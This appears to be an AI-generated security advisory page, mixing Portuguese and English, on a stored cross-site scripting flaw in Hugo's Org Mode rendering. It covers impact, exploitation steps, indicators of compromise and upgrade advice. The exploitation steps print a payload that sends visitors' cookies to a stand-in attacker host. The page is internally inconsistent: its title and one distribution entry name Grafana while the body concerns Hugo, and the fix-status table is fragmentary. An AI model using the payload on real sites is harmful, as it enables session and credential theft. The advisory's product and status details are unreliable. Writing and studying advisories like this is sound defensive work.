CVE-2026-100694: 
Grafana Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-100694 is a stored Cross-Site Scripting (XSS) vulnerability in the Hugo static site generator affecting versions v0.56.0 through v0.165.x. Hugo fails to escape raw HTML in content files mapped to the text/org media type — Org export blocks and @@html:...@@ snippets are rendered unescaped, allowing injected scripts to execute in visitor browsers. The vulnerability was disclosed on September 26, 2026, and a patch was released in v0.166.0. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Hugo Advisory).

Detalhes técnicos

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where Hugo's Org Mode renderer passes raw HTML from Org export blocks (#+BEGIN_EXPORT html ... #+END_EXPORT) and inline @@html:...@@ snippets directly into generated HTML output without sanitization or escaping. An attacker who can write to or influence content files under /content, or control the output of a content adapter that produces text/org-typed content, can embed arbitrary JavaScript. The attack requires no authentication or special privileges on the Hugo build system — only the ability to supply or modify a content file — and requires a victim to visit the affected generated page in a browser (GitHub Advisory, Hugo Advisory).

Impacto

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browsers of visitors to affected Hugo-generated pages, enabling session hijacking, credential theft, phishing, or malicious redirects. The impact is scoped to the subsequent system (visitor browsers) rather than the Hugo build server itself, with low confidentiality and integrity impact on visitor sessions. Sites that fully trust all content sources are not impacted, and only pages sourced from text/org media type files are affected (GitHub Advisory, Red Hat Bugzilla).

Exploração

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.188%, placing it in the 8th percentile for exploitation likelihood. Exploitation is not automatable, as it requires user interaction (a visitor must load the affected page) and the attacker must have write access to content files or content adapters (GitHub Advisory).

Etapas de exploração

  1. Gain content write access: Obtain the ability to create or modify a content file under the Hugo site's /content directory, or influence the output of a content adapter that produces text/org-typed content (e.g., via a pull request, CMS access, or compromised contributor account).
  2. Create a malicious Org Mode file: Author a .org content file that includes a raw HTML export block or inline snippet containing a malicious script, for example:
#+BEGIN_EXPORT html
<script>document.location='https://attacker.example/steal?c='+document.cookie</script>
#+END_EXPORT

or using the inline form: @@html:<script>alert(1)</script>@@ 3. Trigger a Hugo build: The malicious content file is processed during the next Hugo site build, embedding the unescaped script tag directly into the generated HTML output page. 4. Deliver to victims: The generated static site is deployed. When a visitor navigates to the affected page in their browser, the injected script executes in their browser context, enabling session theft, credential harvesting, or further attacks (Hugo Advisory, GitHub Advisory).

Indicadores de compromisso

  • File System: Unexpected or recently modified .org files under the Hugo /content directory containing #+BEGIN_EXPORT html, #+END_EXPORT, or @@html:...@@ blocks with <script> tags, event handlers (e.g., onerror, onload), or external resource references.
  • Build Output: Generated HTML files in the Hugo public/ output directory containing inline <script> tags or JavaScript URIs not present in trusted templates or shortcodes.
  • Logs: Version control (Git) history showing unexpected additions or modifications to .org content files, particularly from unfamiliar contributors or automated accounts.
  • Network: Outbound requests from visitor browsers to unfamiliar domains shortly after visiting Hugo-generated pages; unusual traffic patterns in web server access logs correlating with specific .org-sourced pages.

Mitigação e soluções alternativas

Upgrade Hugo to v0.166.0 or later, which introduces a security.allowContent allowlist that denies text/org by default, preventing unescaped HTML rendering. Sites that intentionally use Org Mode content can opt back in after upgrading by adding [security] allowContent = ['.*'] to their Hugo configuration. As an interim workaround prior to upgrading, restrict write access to the /content directory and content adapters to fully trusted contributors only, and audit existing .org files for malicious HTML export blocks (Hugo Advisory, GitHub Advisory).

Reações da comunidade

The vulnerability was credited to researcher philipdissert as the finder, per the Hugo security advisory. Red Hat tracked the issue via Bugzilla (Bug 2541804) and assigned it medium severity. No significant broader media coverage or notable social media commentary has been identified beyond standard CVE aggregator coverage (Hugo Advisory, Red Hat Bugzilla).

Recursos adicionais

Status correto da distribuição Linux

Disponibilidade de correção em distribuições Linux principais e suas versões.

Debian

Fixo

bookworm

hugo

Afetados

sid

hugo: 0.166.0-1

Fixo

trixie

hugo

Afetados

Ubuntu

Desconhecido

bionic (esm-apps)

hugo

Desconhecido

devel

hugo

Desconhecido

focal (esm-apps)

hugo

Desconhecido

jammy

hugo

Desconhecido

jammy (esm-apps)

hugo

Desconhecido

noble

hugo

Desconhecido

noble (esm-apps)

hugo

Desconhecido

resolute

hugo

Desconhecido

RHEL / CentOS

Afetados

RHEL 10

grafana.src

Afetados

Alpine

Afetados

edge

0.139.0-r0

Afetados

v3.24

0.160.1-r1

Afetados

Origem: Este relatório foi gerado usando IA

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